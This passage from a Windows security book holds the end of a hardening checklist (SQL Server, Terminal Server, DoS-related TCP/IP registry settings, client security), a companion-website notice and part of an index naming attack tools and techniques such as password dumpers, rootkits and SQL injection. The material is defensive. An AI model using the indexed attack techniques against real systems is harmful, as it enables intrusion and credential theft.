party evaluate the design and implementation as early in the development \nlife cycle as possible. Remember: assume all input is malicious, and validate it!\nSQL SERVER SECURITY CONSIDERATIONS\nHere are our recommended SQL Server security configurations summarized from \nChapter 9 (with redundant entries removed):\n• Upgrade to SQL Server 2005 or later! And stay current on SQL Server service packs.\n• Implement appropriate network access control to isolate SQL Server; SQL \nservers should have direct connectivity only to the machines that will be \nrequesting their services. For example, if SQL Server is the data store for your \nweb-based storefront, no machines other than the web servers should have \ndirect connectivity to SQL Server.\n• Carefully consider SQL Server security mode settings. While using Windows \nauthentication for SQL Server may seem to be a more secure option, it is not \nalways feasible in certain environments. Take the time to evaluate whether \nyou can use it, and if so, change the SQL login mode so that users cannot \nlog in using name/password pairs. This will also free you from having to \ninclude these credentials in connection strings or embed them in client/server \napplications. If you do use Mixed Mode authentication, create an equivalent \ncredential management system to ensure that passwords meet policy criteria \nand are regularly changed.\n• Enable SQL Server Authentication Logging. By default, authentication logging \nis disabled in SQL Server. You can remedy this situation with a single command, \nand it is recommended that you do so immediately. Either use the Enterprise \nManager and look under Server Properties in the Security tab, or issue the \nfollowing command to the SQL Server using Query Analyzer or osql.exe \n(the following is one command line-wrapped due to page-width constraints):\nMaster..xp_instance_regwrite N'HKEY_LOCAL_MACHINE',\n N'SOFTWARE\\Microsoft\\MSSQLServer\\MSSQLServer',N'AuditLevel', REG_DWORD,3\n• Encrypt data when possible. SQL Server 2005 introduced the native encryption \ninfrastructure to help achieve this. Prior to SQL 2005, no native support is \nprovided for encrypting individual fi elds; however, you can easily implement \nyour own encryption using Microsoft’s Crypto API and then place the encrypted \ndata into your database. More third-party solutions are listed at the end of \nChapter 9; these can encrypt SQL Server data by adding functionality to the \nSQL server via extended stored procedures (use these at your own risk).\n" }, { "page_number": 443, "text": "Appendix A: Windows Security Checklist \n415\n• Use the Principle of Least Privilege. Why is it that so many production applications \nare running as the sa account or a user with database owner privileges? Take \nthe time during installation of your application to create a low-privilege account \nfor the purposes of day-to-day connectivity. It may take a little longer to itemize \nand grant permissions to all necessary objects, but your efforts will be rewarded \nwhen someone does hijack your application and hits a brick wall from insuffi cient \nrights to take advantage of the situation.\n• Don’t run SQL in the context of a privileged user account. Take the time to \ncreate a unique user account (not an Administrator) and enter the user’s \ncredentials during installation. This will restrict users who execute extended \nstored procedures as a system administrator from immediately becoming \ndomain or local operating system administrators, or the system account \n(LocalSystem).\n• Perform thorough input validation. Never trust that the information being sent \nback from the client is acceptable. Client-side validation can be bypassed, so \nyour JavaScript code will not protect you. The only way to be sure that data \nposted from a client is not going to cause problems with your application is to \nvalidate it properly. Validation doesn’t need to be complicated. If a data fi eld \nshould contain a number, verify that the user entered a number and that it is \nin an acceptable range. If the data fi eld is alphanumeric, make sure the length \nand content of the input is acceptable. Regular expressions are a great tool for \nchecking input for invalid characters, even when the formats are complex, such \nas in e-mail addresses, passwords, and IP addresses.\n• Use stored procedures—wisely. Stored procedures give your applications a \none-two punch of added performance and security. This is because stored \nprocedures precompile SQL commands, parameterize (and strongly type) input, \nand allow the developer to provide execute access to the procedure without \nproviding direct access to the objects referenced in the procedure. The most \ncommon mistake made when implementing stored procedures is to execute \nthem by building a string of commands and sending the string off to SQL \nServer. If you implement stored procedures, take the time to execute them using \nthe ADO Command objects so that you can properly populate each parameter \nwithout the possibility of someone injecting code into your command string. \nAnd remember to remove powerful stored procedures such as xp_cmdshell \nentirely. Chapter 9 lists XPs that should be removed.\nRemoving or restricting access to built-in extended stored procedures may put SQL Server in an \nunsupported state. Contact your support representative at Microsoft to verify.\n• Use SQL Profi ler to identify weak spots. One excellent technique for fi nding \nSQL injection holes is constantly to inject an exploit string into fi elds in your \napplication while running SQL Profi ler and monitoring what the server is \nseeing. To make this task easier, it helps to use a fi lter on the TextData fi eld \nin SQL Profi ler that matches your exploit string. See Chapter 9 for examples.\n" }, { "page_number": 444, "text": "416 \nHacking Exposed Windows: Windows Security Secrets & Solutions \n• Use alerts to monitor potential malicious activity. By implementing alerts on key \nSQL Server events (such as failed logins), it is possible to alert administrators \nthat something may be awry. An example is to create an alert on event IDs 18456 \n(failed login attempt), which contain the text ‘sa’ (include the quotes so the alert \ndoesn’t fi re every time the user “Lisa” logs in, for example). This would allow an \nadministrator to be alerted each time a failed attempt by someone to access the \nSQL Server as sa occurs and could be an indication that a brute-force attack is \ntaking place.\nTERMINAL SERVER SECURITY CONSIDERATIONS\nHere are some considerations gathered from throughout the book.\n• Consider reassigning the default Terminal Server (TS) service port by modifying \nthe following Registry key:\nHKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\nValue : PortNumber REG_DWORD=3389\n \nSet up a custom Remote Desktop Connection document (.rdp) to confi gure \nclients to connect to the custom port, or use port redirection on the client. \nThe ActiveX TS client cannot be used to connect to a modifi ed port.\n• Implement a custom legal notice for Windows logon. This can be done by \nadding or editing the Registry values shown here:\nHKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\nName Data Type Value\nLegalNoticeCaption REG_SZ [custom caption]\nLegalNoticeText REG_SZ [custom message]\n \nWindows 2000 and later will display a window with the custom caption and \nmessage provided by these values after the user presses CTRL-ALT-DEL and before \nthe logon dialog box is presented, even when logging on via TS (make sure \nHotfi x Q274190 is applied).\n• Rename the Administrator account and assign it a very strong password. \n(Remember that the true Administrator account cannot be locked out \ninteractively, via TS.) Create a decoy Administrator account and audit logon \nevents (at a minimum).\n• Ensure that an Account Lockout threshold is set for all user accounts and that \nusers are required to set complex passwords.\n• Audit success and failure of logons and review the logs regularly (either \nmanually or through an automated process) to monitor for brute-force \npassword guessing and other attacks.\n• Do not allow untrusted users to log on via TS, which is the equivalent of \ninteractive logon. Use the Remote Desktop Users group to manage authorized \nusers.\n" }, { "page_number": 445, "text": "Appendix A: Windows Security Checklist \n417\n• Require 128-bit client security.\n• Remember that TS security varies depending on the mode, Administration or \nApplication mode. In Application mode, users will have the near equivalent of \ninteractive logon from remote locations, so other controls like SRP should be \nimplemented to assure that non-approved apps cannot be executed.\nDENIAL OF SERVICE CONSIDERATIONS\nHere are some considerations for mitigating denial of service (DoS) attacks:\n• Employ appropriate settings on upstream network devices to perform \nthrottling.\n• Keep up with hotfi xes and service packs.\n• Confi gure the TCP/IP parameters to mitigate DoS attacks for Internet-facing \nservers. The following table lists recommendations provided by Microsoft via \nvarious references noted. (The references to Regentry.chm refer to the Windows \n2000 Reskit Technical Reference to the Registry in compiled HTML help fi le \nformat; if the Resource Kit is installed, just run regentry.chm and the fi le will open.)\n• Note that these settings are pertinent only to Windows 2000 and later.\nThese settings are designed to protect a high-volume, heavily attacked website. They may prove too \naggressive (or not aggressive enough) for other scenarios.\nRegistry Value (under HKLM\\Sys\\CCS\\Services\\\nTcpip\\Parameters\\)\nRecommended Setting\nReference\nSynAttackProtect\n2\nQ142641\nTcpMaxHalfOpen\n100 (500 on \nAdvanced Server)\nRegentry.chm\nTcpMaxHalfOpenRetried\n80 (400 on \nAdvanced Server)\nRegentry.chm\nTcpMaxPortsExhausted\n1\nRegentry.chm\nTcpMaxConnectResponseRetransmissions\n2\nQ142641\nEnableDeadGWDetect\n0\nRegentry.chm\nEnablePMTUDiscovery\n0\nRegentry.chm\nKeepAliveTime\n300,000 (5 mins)\nRegentry.chm\nEnableICMPRedirects\n0\nRegentry.chm\nInterfaces\\PerformRouterDiscovery\n0\nRegentry.chm\n(NetBt\\Parameters\n\\)NoNameReleaseOnDemand\n1\nRegentry.chm\n" }, { "page_number": 446, "text": "418 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSome additional DoS-related settings are listed here:\nRegistry Key (under HKLM\\\nSystem\\ CurrContrlSet\\Services)\nValue\nRecommended Setting\nReference\n\\Tcpip\\Parameters\\\nEnableICMPRedirects\nREG_DWORD=0, system \ndisregards ICMP redirects\nQ225344\nEnableSecurityFilters\nREG_DWORD=1 enables \nTCP/IP fi ltering, but does \nnot set ports or protocols\nRegentry.chm\nDisableIPSourceRouting\nREG_DWORD=1 disables \nsender’s ability to \ndesignate the IP route that \na datagram takes through \nthe network\nRegentry.chm\nTcpMaxData Retransmissions\nREG_DWORD=3 \nsets how many times \nTCP retransmits an \nunacknowledged data \nsegment on an existing \nconnection\nRegentry.chm\nAFD\\Parameters\nEnableDynamicBacklog\nREG_DWORD=1 enables \nthe dynamic backlog \nfeature\nQ142641\nMinimumDynamic Backlog\nREG_DWORD=20 sets \nthe minimum number of \nfree connections allowed \non a listening endpoint\nQ142641\nMaximumDynamic Backlog\nREG_DWORD=20000 \nsets the number of \nfree connections plus \nthose connections in a \nhalf-connected (SYN_\nRECEIVED) state\nQ142641\nDynamicBacklogGrowthDelta\nREG_DWORD=10 \nsets the number of \nfree connections to \ncreate when additional \nconnections are necessary\nQ142641\nINTERNET CLIENT SECURITY\nHere are some considerations gathered from Chapter 10:\n• Enable personal fi rewall with minimal allowed applications, both inbound and \noutbound.\n" }, { "page_number": 447, "text": "Appendix A: Windows Security Checklist \n419\n• Run with least privilege. Never log on as Administrator (or equivalent highly-\nprivileged account) on a system that you will use to browse the Internet or read \ne-mail.\n• All client software is up-to-date on all relevant software security patches \n(automatic updates, such as Microsoft’s Automatic Update Service, are \nstrongly recommended).\n• Antivirus software is installed and confi gured to scan real-time (particularly \nincoming mail attachments), and keep itself updated automatically.\n• Anti-adware/spyware and anti-phishing utilities are installed in addition to \nantivirus (assuming antivirus does not already have these features).\n• Confi gure Internet client security conservatively; for example, Windows \nInternet Options Control Panel (also accessible through IE and Outlook/OE) \nshould be confi gured as advocated in Chapter 10.\n• If confi gured separately, ensure other client software (especially e-mail!) uses \nthe most conservative security settings (for example, Restricted Sites zone in \nMicrosoft e-mail clients).\n• Confi gure offi ce productivity programs as securely as possible; for example, \nset the Microsoft Offi ce macro security to Very High under Tools | Macro | \nSecurity.\n• Cookie management is enabled within the browser or via third-party tool such \nas CookiePal.\n• Disable caching of SSL data.\n• E-mail software is confi gured to read e-mail in plaintext.\n• Kill bit set on unneeded ActiveX controls.\n• Change operating system default confi gurations (for example, instead of \nthe default C:\\Windows, install with an unusual Windows folder name like \nC:\\Root).\n• Don’t be gullible. Approach Internet-borne solicitations and transactions with \nhigh skepticism. For sensitive URIs (such as those for online banking), manually \ntype addresses or use known-good Favorites/Bookmarks, and never click \nhyperlinks.\n• Keep your computing devices physically secure (especially mobile devices such \nas laptops, Blackberrys, and cell phones).\n" }, { "page_number": 448, "text": "420 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nAUDIT YOURSELF!\nThe whole point of this book is that you can never be sure if your system is really secure \nwithout checking it yourself. Continuous assessment of security is critical in today’s \n24/7 environments. Don’t let your guard down!\n• Regularly follow the methodology outlined in this book to audit your own \ncompliance to the recommendations listed here.\n• If the task of self-audit is too burdensome, outsource to an independent security \nservices provider.\n" }, { "page_number": 449, "text": "421\nB\nAbout the \nCompanion \nWebSite\n" }, { "page_number": 450, "text": "422 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nW\nindows security is a rapidly changing discipline, and we recognize that the \nprinted word is often not the most adequate medium to keep current with all \nof the new happenings in this vibrant area of research.\nThus, we have implemented a World Wide Web site that tracks new information \nrelevant to topics discussed in this book, along with errata and a compilation of the \npublic-domain tools, scripts, and configuration files we have covered throughout the \nbook. That site address is\nhttp://www.winhackingexposed.com\nThe site also provides a forum to talk directly with the authors via e-mail:\njoel@winhackingexposed.com\nWe hope that you return to the site frequently as you read through these chapters to \nview any updated materials, gain easy access to the tools that we mention, and otherwise \nkeep up with the ever-changing face of Windows security. Otherwise, you never know \nwhat new developments may jeopardize your network before you can defend yourself \nagainst them.\nUnless specifically noted otherwise, the tools available via www.winhackingexposed.com were not \nproduced by the authors, who make no warranties or claims as to their functionality, nor do they \nundertake any liability for unexpected consequences of their use or misuse.\n" }, { "page_number": 451, "text": "423\n$ (dollar sign), 28\n0-day exploit, 158\n4Suite XML package, 171\n010 Editor, 177 \n▼ \n▼ A\nAbsinthe tool, 276–277, 301–302\naccess control, 31–41\nintegrity levels, 35–36\nmandatory, 35\nMedia Access Control, 145\nnetworks, 31, 36–39, 386\noverview, 19, 31–32\nrole-based, 11\ntokens, 32–36\nWindows access control model, 33–34\nAccess Control Entries (ACE), 376–377\naccess control lists. See ACLs\naccess tokens, 19, 32, 375. See also tokens\naccount lockout, 119–120, 130–133\naccount scopes, 42\naccountability, 3–4, 10\naccounts. See also specific accounts\nadministrator. See administrator \naccounts\nbackup, 119, 121, 122\nbatch. See service accounts\nbuilt-in, 22–23\ncomputer, 28–30, 35\ndisabled, 119–120, 130–131, 133–134\ndomain, 118, 311–312, 409\ngroup, 119\nguest, 119–120\nlab, 118, 122\nlocal. See local accounts\nroot, 122\nservice. See service accounts\ntest, 118, 122\nuser. See user accounts\nACE (Access Control Entries), 376–377\nAchilles tool, 298\nACLs (access control lists)\nleast privilege and, 11\nMandatory Access Control Lists, 372–373\nSystem Access Control List, 373–374\nWindows Resource Protection, 400\nAcrobat XSS attacks, 321–322\nActive Directory (AD)\ndescribed, 107\nDNS servers and, 101–103\nenumeration, 107–111\nforests/trees/domains, 41–46\npasswords, 37, 208–210\npermissions, 109–110\nrestricting access to, 412\nSAM and, 39–41\nINDEX\n" }, { "page_number": 452, "text": "424 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nActive Server Pages (ASP), 290–292\nActiveX\nattacks on, 322–323\ncountermeasures, 324\ndisabling, 337\nInternet Explorer and, 325–327\nopt-in feature, 324\nActiveX controls, 322–324, 336–337\nActiveX objects, 290–292\nAD. See Active Directory\nAd-Aware tool, 334\nAddress Resolution Protocol (ARP), 142, 144\nAddress Space Layout Randomization (ASLR), \n181–183, 398–399\naddress translation, 245\nADMIN$ share, 135\nadministrative boundaries, 43–46\nadministrative privileges, 36\nadministrative shares, 135\nadministrator accounts\naccount lockouts, 132–133\nchanging name of, 132–133, 136\ncloned, 266–267\ncreating decoy for, 132–133\ndescribed, 23\ndisabling, 133\nenumeration considerations, 118–119\nhidden, 22\nimportance of protecting, 121\nlocal, 118–119\nlogon attempts, 20–21\nlogon failure, 20–21\npasswords. See administrator passwords\nSIDs and, 20–21, 132\nsystem administrator (sa), 307–309\nvs. SYSTEM account, 22, 23\nadministrator passwords\nconsiderations, 121\nguessing, 121–137\nnullifying, 348\nsa account, 307–309\nSAM file and, 348–349\nSQL Server, 308–309\nadministrators\nbackground checks of, 134\nidentifying, 86\ntrust in, 44\nUser Account Control and, 375–377\nadministrators group\nbackground checks of, 134\nidentifying members of, 86\nlab/test accounts, 118, 122\nAdobe Acrobat XSS attacks, 321–322\nADS (Alternate Data Streams), 268\nadware, 332–334\nAeropeek wireless sniffer, 275\nAlerter service, 265–266\nalerts, SQL Server, 314, 416\nallow rights, 30\nAlternate Data Streams (ADS), 268\nAmerican Registry for Internet Numbers \n(ARIN), 56–57\nAndrews, Chip, 284, 285\nANI (animated cursor) vulnerability, 319\nANI exploits, 181–183\n.ani extension, 319\nANI files, 177–183\nANI headers, 178–179\nanimated cursor. See ANI\nanonymous logon, 28, 29, 85, 109–110\nAnonymous Logon group, 28, 29\nANONYMOUS LOGON identity, 109–110\nantirootkit.com, 253\nantivirus software, 247\nApache Web Server, 413\nAPI calls, 123\nAPIs (application programming interfaces)\nCredential Manager, 206–207\nCrypto, 205, 414\nDPAPI, 205–210\ninterceptions, 255\nkernel, 227\nMAPI, 84\nWindows Native, 236\nWNetAddConnection2, 123\nAPNIC (Asia-Pacific Network Information \nCenter), 56\napplication credential usage, 205–210\nApplication Log, 46–47\napplication manifest, 35\napplication programming interfaces. See APIs\napplication roles, 279\napplication scanners, 298\napplications. See also specific applications\nblocking access to, 10\nclient. See client applications\n" }, { "page_number": 453, "text": "Index \n425\ncredential usage, 205–210\nmalware, 229, 230, 232, 235\nprivileges and, 35–36, 303–304\nscanning for vulnerabilities, 310\nsecurity and, 8\nweb, 413–414\nAppScan tool, 298\narcserve user accounts, 122\nARIN (American Registry for Internet \nNumbers), 56–57\nARP (Address Resolution Protocol), 142, 144\nASCII characters, 129\nASEPs (auto-start extensibility points), 333–334\nAshton, Paul, 203, 219\nAsia-Pacific Network Information Center \n(APNIC), 56\nASLR (Address Space Layout Randomization), \n181–183, 398–399\nASP (Active Server Pages), 290–292\n.asp extension, 296\nASP.NET, 49\n.aspx extension, 296\nassemblies, 49\nassets, 3–4\nattackers. See hackers\nAucsmith, David, 232\naudit policy, 46\nauditing, 46–49\naccount lockouts and, 119\nchecklist for, 411\ncryptography feature, 47–48\nevents, 46–47, 411\nimportance of, 420\nlogon failure events, 131–132\n.NET Framework, 48–49\nobjects, 411\noverview, 46\nAuthenticated Users group, 29\nauthentication. See also passwords; privileges\nchallenge/response, 37–38\nIPSec packet, 201\nKerberos. See Kerberos authentication\nLM, 140–148\nlogging, 279–280, 310–311, 414\nnetwork, 36–39\nNTLM, 38, 39, 116\nNTLMv2, 38, 39, 116, 146–147\noverview, 31–32\nSQL, 275, 278\nSQL Server, 308, 310–311\ntokens. See tokens\nWindows, 137–155, 278\nWindows Only, 309\nauthentication firewall, 45–46\nAuthenticode, 322, 324\nauthorization, 11\nauto-start extensibility points (ASEPs), \n333–334\nAutoRun attacks, 360–361\n▼ \n▼ B\nbackup user accounts, 119, 121, 122\nbanking Trojans, 233\nbanner grabbing, 64, 67–69\nBartlett, Thomas, 348\nBasel II, 6\nBaseline Security Analyzer, 409\nbatch accounts. See service accounts\nBCP/DR (business continuity planning and \ndisaster recovery), 9\nBDE. See BitLocker Drive Encryption\nBDS (Binary Diffing Suite) tool, 173–181\nBeatLM tool, 143, 144\nBecher, Michael, 359\nBerglind, Rikard, 355\nBezroutchko, Alla, 81\nBHOs (Browser Helper Objects), 334\nBIOS passwords, 234. See also NetBIOS\nBitLocker Drive Encryption (BDE), 368–372\nBootroot and, 232\nconfigurations, 369–370\ndescribed, 368\noffline attack protection, 354–363\npassword protection, 234\nsecure startup, 251\nSQL Server and, 311\nTrusted Platform Module (TPM), \n370–372\nBlackLight rootkit, 233\nBlaster Worm, 156–158\nblind SQL injection, 297–298, 301–302\nBLINK pointer, 241–243\nBlue Pill rootkit, 233, 262\nBluejacking, 290\n" }, { "page_number": 454, "text": "426 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nbluescreens, 230, 232\nBluesnarfing, 290\nBluetooth attacks, 290\nBMG First4Internet Rootkit, 247\nBobCat tool, 302–303\nboot logging, 234, 256–258\nboot sequence, 372\nBootExecute Registry entry, 258–259\nbootkits, 234, 250, 251, 359–360. \nSee also rootkits\nbootroot rootkits, 232, 250, 359–360, 371\nBootRootKit, 359–360\nBrowser Helper Objects (BHOs), 334\nbrowsers. See web browsers\nbrowsing, low-privilege, 339–340\nBrubacher, Doug, 255\nbrute-force attacks\nKerberos authentication, 138–139\nLM hashes, 211\nSQL Server, 289\nvs. dictionary attacks, 124\nbuffer overflows\nActiveX controls, 322–323\nGS cookies, 388–391\nMicrosoft RPC, 156–158\noverview, 387–388\nstack-based, 388–391\nworms and, 387\nbuilt-in accounts, 22–23\nbuilt-in groups, 25, 26\nbusiness continuity planning and disaster \nrecovery (BCP/DR), 9\nButler, James, 228–229, 231, 232, 252\nbytes, 236\n▼ \n▼ C\nC2 logging feature, 280\ncache\ndomain logon, 353–354\ndomain passwords, 204\nlogon caching, 204\nLSA, 202, 409\npoisoning, 142, 144\nprocessor, 244–247\nservice account passwords, 24\nCain & Abel tool, 203, 214, 216–218, 294\ncanonicalization, 160, 329–332\nCANVAS exploit framework, 159\nCascading Style Sheets (CSS), 325\nCD-ROM drive, 360–361\nCD-ROMs, 360\nCDs, 232\nCertificates MMC snap-in, 47, 48\nchallenge/response authentication, 37–38\nchallenge-response hashes, 140–142\nchance control, 313\nCheck Disk utility, 258\nchkimg command, 255\nchntpw tool, 348–349, 351\nCIA (confidentiality, integrity, and \navailability), 3–4\ncipher.exe tool, 358\nCIS (COM Internet Services), 156–158\nClassic option, 38–39\nclient applications, 317–343\nadware, 332–334\nexploits, 319–327\ngeneral countermeasures, 334–340\ngeneral information, 318, 340\nphishing, 328–332\nreferences, 340–343\nsocial engineering, 327–334\nspyware, 328, 332–334\nclient-side validation, 312\ncloned administrator accounts, 266–267\nCLR (common language runtime), 48–49\ncmd.exe command, 193–194\ncode\nAuthenticode, 322, 324\ndisclosure vulnerabilities, 295\ngeneration, 309–310\nHTML. See HTML code\nkernel-mode code signing, 250\nmalicious, 359–360\nsource, 295\nT-SQL. See T-SQL code\nUnicode, 264–265\ncode bytes, 236\nCOM Internet Services (CIS), 156–158\ncommand-line control, 191–194\ncommand-line tools, 212–213\ncommands. See also specific commands\nexecution of, 16\nSQL, 296–306, 313–314\n" }, { "page_number": 455, "text": "Index \n427\nComment field, 118\ncommon language runtime (CLR), 48–49\nCommon Vulnerability Scoring System (CVSS), 5\ncommunity strings, 103–107. See also\npasswords\ncompany information, 55–59\ncompartmentalization, 12\ncompiler, 387–399\ncompmgmgt.msc, 142–143\ncomputer accounts, 28–30, 35\nconfidentiality, integrity, and availability \n(CIA), 3–4\nConfiguration Manager, 287\nconnection strings, 283, 295–296\nconnections\nhidden, 230\nSQL Server, 278\nweb servers, 310\nWNetAddConnection2, 123\nconsent environment, 36\ncookies\nchecking for, 275–276\ncross-domain attacks, 325\nGS cookies, 181–183, 388–391\nsecurity, 388–391\nSQL Server and, 275–276\nstack, 181–183\nCORE IMPACT exploit framework, 159\ncorporate information, 55–59\nCredential Manager API, 206–207\ncredentials\napplications, 205–210\nhashes and, 219–220\nLM/NTLM, 144\nrecovery agent, 350–351\nSQL Server, 303–304\nusers, 3, 281\ncredentials.txt file, 124–125\ncredit card data, 3, 4\ncross-domain access attacks, 325–326\ncross-view–based rootkit detection, 252–254\nCrossSite Scripting (XSS), 321–322\nCrypto API, 205, 414\ncryptographic keys, 47–48\ncryptography, 47–48\nCSS (Cascading Style Sheets), 325\nCTRL-ALT-DEL signal, 16, 31–32\nCulp, Scott, 291\nCult of the Dead Cow, 148\n.cur extension, 319\ncursors, animated. See ANI\nCustom.config file, 49\nCVSS (Common Vulnerability Scoring \nSystem), 5\nCyberCop Scanner tool, 126, 127\n▼ \n▼ D\nDACL (discretionary access control list), 19, 33, \n34, 376–377\nDamage potential, Reproducibility, \nExploitability, Affected users, and \nDiscoverability (DREAD), 5\nDarunGrim plugin, 173\ndata. See also information\nAlternate Data Streams, 268\ncredit card, 3, 4\ndescribed, 235–236\nextracting from protected storage, \n204–205\nInternet Registrar, 55\nkernel data structures, 236\nmetadata, 281\nmining, 198–201\ntemporary file data retrieval, 355–358\ndata access layers, 309–310\ndata bytes, 236\nData Decipher Field (DDF), 350–351\nData Execution Prevention. See DEP; SafeSEH\ndata mining, 198–201\nData Protection Application Programming \nInterface (DPAPI), 205–210\nData Recovery Field (DRF), 350–351\ndata streams, 268\nData Thief tool, 302\nDatabase Engine Tuning Advisor, 287\ndatabases\nARIN, 56–57\nGoogle Hacking Database, 59\nOLE, 278, 297\npulling data from, 276–277\nrelational, 274\nroles, 279\nSAM, 94\nstring building and, 314–315\n" }, { "page_number": 456, "text": "428 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nDavis, Mike, 201\nDCOM (Distributed Component Object \nModel) interface, 156–158\nDCs (domain controllers), 41–46\nDDF (Data Decipher Field), 350–351\nDDL triggers, 281\nDebug privilege, 31\ndebuggers\nheap overflows and, 168–169\nuser rights, 31\nWinDBG, 169, 254–255\nDebugging Tools for Windows, 167–169\ndedicated function, 12–13\ndefacements, websites, 274\ndelegation, 35\nDelGuest utility, 120\nDelprot rootkit, 231–232\ndemo accounts, 122\ndenial of service (DoS) attacks\ncountermeasures, 417–418\nlockout thresholds and, 131\nTCP/IP and, 417\ndeny rights, 30, 31\nDEP (Data Execution Prevention), 18, \n181–183, 398. See also SafeSEH\nDEP systems, 203–204\nDeployment Planning Guide, 43–44\nDESX (Extended Data Encryption \nStandard), 350\nDevice Manager, 258\ndevices\nattacks on, 359–363\nhidden, 258\nmanaging, 258\nDHCP (Dynamic Host Configuration \nProtocol), 145\nDi Paola, Stefano, 321\ndictionary attacks, 123–135\ndictionary cracking, 138–139\ndigital information assets, 3–4\nDigital Rights Management (DRM), 233\ndir command, 198\nDirect Host (SMB over TCP), 75\nDirect Kernel Object Manipulation (DKOM), \n231, 240–244\nDirect Media Access (DMA), 359\nDirectory Services Client (DSClient), \n38, 147\ndiscretionary access control list (DACL), 19, 33, \n34, 376–377\nDistributed Component Object Model \n(DCOM) interface, 156–158\nDKOM (Direct Kernel Object Manipulation), \n231, 240–244\nDLL injection, 208\nDLLs\ncomparing, 173–181\npassfilt, 129\nDMA (Direct Media Access), 359\nDNS (Domain Name System)\nenumeration, 101–103\nzone transfers, 75\nDNS servers, 55, 101–103, 412\nDNS SRV record, 101\nDocument Object Model (DOM), 329\ndocuments. See files\ndollar sign ($), 28\nDOM (Document Object Model), 329\ndomain accounts, 118, 311–312, 409\nDomain Admins account, 42, 43, 118–119\nDomain Admins group, 86\ndomain controllers (DCs), 41–46\nbackup/restore master key, 48\nbuilt-ins and, 22\ncomputer accounts and, 28–30\nEFS and, 352–354\nenumerating, 81–82\nLM responses and, 145–146\nphysical security of, 412\nrequirements for, 410\nsettings, 412–413\nDomain Local scope, 42\ndomain logon cache, 353–354\nDomain Name System. See DNS\nDomain profile, 76\ndomain users, 42\ndomains, 41–46\ncompromised, 45\nenumeration, 77\nInternet Explorer and, 325\nInternet-facing, 44\nnames, 55, 57\npasswords, 204\nDormann, Will, 322–323\nDornseif, Maximillian, 359\nDoS attacks. See denial of service (DoS) attacks\n" }, { "page_number": 457, "text": "Index \n429\nDOS platform, 364\ndot-dot-slash syntax, 160\nDPAPI (Data Protection Application \nProgramming Interface), 205–210\nDREAD (Damage potential, Reproducibility, \nExploitability, Affected users, and \nDiscoverability), 5\nDRF (Data Recovery Field), 350–351\ndrivers\ncomparing, 259\nhiding, 243\nkernel driver signing, 18\nkernel-resident, 17\nrootkits, 234, 252, 256–258\nunsigned, 250\nWinPcap packet capture, 142–143\nDRM (Digital Rights Management), 233\nDSClient (Directory Services Client), 38, 147\ndskprobe tool, 355–358\nDsniff tool, 201\nDumpACL tool, 87–88\ndumping\nDumpACL tool, 87–88\nDumpSec tool, 87–88\nepdump tool, 83\nLSA, 202–204\nlsadump2 tool, 121, 203\nmemory, 254–255\nNetBIOS name tables, 78–80\npasswords from Registry, 208–210\npasswords in Internet Explorer, 206\npwdump2 tool, 209\nrpcdump tool, 83\nshares over null sessions, 87–88\nUserDump tool, 92, 94, 130\nDumpSec tool, 87–88\nDVD drive, 360–361\nDynamic Host Configuration Protocol \n(DHCP), 145\n▼ \n▼ E\ne-mail\nattachments, 320\ncontacting author of this book, 422\nto fraudulent servers, 144\nhyperlinks in, 332\nmalicious e-mail/web page, 322, 332\nmass-mailing worms, 263\nobtaining LM/NTLM credentials \nvia, 144\nphishing attacks, 233, 235, 328–332\nplaintext, 331–332\nRestricted Sites zone, 338–339\nspam, 233\neavesdropping. See also sniffing\nkerberos authentication, 137–139\nWindows authentication, 137–148\necho requests, 60–61\nEddington, Michael, 169\neEye BootRootKit, 359–360\nEFS. See Encrypting File System\nefsinfo tool, 351\nelevation, 189, 249\nELM (Event Log Monitor), 132\nEncrypting File System (EFS), 349–354\ndomain controllers and, 352–354\ndomain logon cache, 353–354\nefsinfo tool, 351\nrecovery agents and, 352–353\nSQL Server and, 311\nSYSKEY and, 351\ntemporary file data retrieval, 355–358\nencryption. See also Encrypting File System\nExtended Data Encryption \nStandard, 350\nfile encryption key (FEK), 350–353\nfiles, 350–354\nfolders, 358\nFull Volume Encryption Key, 234\nhard drives. See BitLocker Drive \nEncryption\nnative, 281\npacket sniffing and, 294–295\nProtocol Encryption, 295\nSQL Server, 281, 294–295, 311, 414\nEnd User License Agreement (EULA), 333\nEndpoint Mapper, 75, 82–84, 156\nEnhanced Security Configuration (ESC), 339\nEnterprise.config file, 49\nenum tool, 88–90, 127\nenumeration, 73–114\nActive Directory, 107–111\nall-in-one tools for, 111–112\ndescribed, 74\n" }, { "page_number": 458, "text": "430 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nDNS, 101–103\ndomain controllers, 81–82\ndomains, 77\ngroups, 107–109\nkey services targeted, 74, 75\nNetBIOS, 74–82\nnull sessions, 85–96\npassword guessing, 89–90, 118–119\nreferences, 113–114\nreviewing scan results, 74–76\nRPC, 82–84\nshares, 85–86\nSMB, 84–101\nSNMP, 103–107\ntrusted domains, 86\nusers, 86, 92, 107–109\nvs. footprinting/scanning, 74\nepdump tool, 83\nEPMAPPER entry, 84\nEPROCESS blocks, 234, 240–244\nERD Commander, 346\nerrors\n“account disabled,” 120\n“An unexpected network error \noccurred,” 155\n“Incorrect syntax near,” 297\n“Invalid column name,” 297\nnetwork, 155\nODBC, 297\nSQL commands, 296–306\nSQL Server, 279–280, 301–302\nSystem Error 59, 155\nESC (Enhanced Security Configuration), 339\nEULA (End User License Agreement), 333\nEvanchik, Michael, 325\nEvent IDs, 131\nevent log-based detection, 260–261\nEvent Log Monitor (ELM), 132\nevent logs, 46–47, 132, 260–261\nEventAdmin tool, 132\nevents\nauditing, 411\nlogon, 136\nlogon failure, 131–132\nEveryone group, 29, 109–110\nEveryone identity, 412–413\n“evil twins,” 289\nexception handling, 392–397\nEXEC statement, 304, 314–315\nexecutive process (EPROCESS) blocks, 234, \n240–244\nexploit frameworks, 159\nexploit strings, 313–314\nexploits\n0-day exploit, 158\nANI, 181–183\nclient applications, 319–327\ncross-domain, 325–327\ndescribed, 318\nGDI, 189\nIIS SSL PCT, 158–160\nOffice documents, 320–321\nExtended Data Encryption Standard \n(DESX), 350\nextensions\n.ani, 319\n.asp, 296\n.aspx, 296\n.cur, 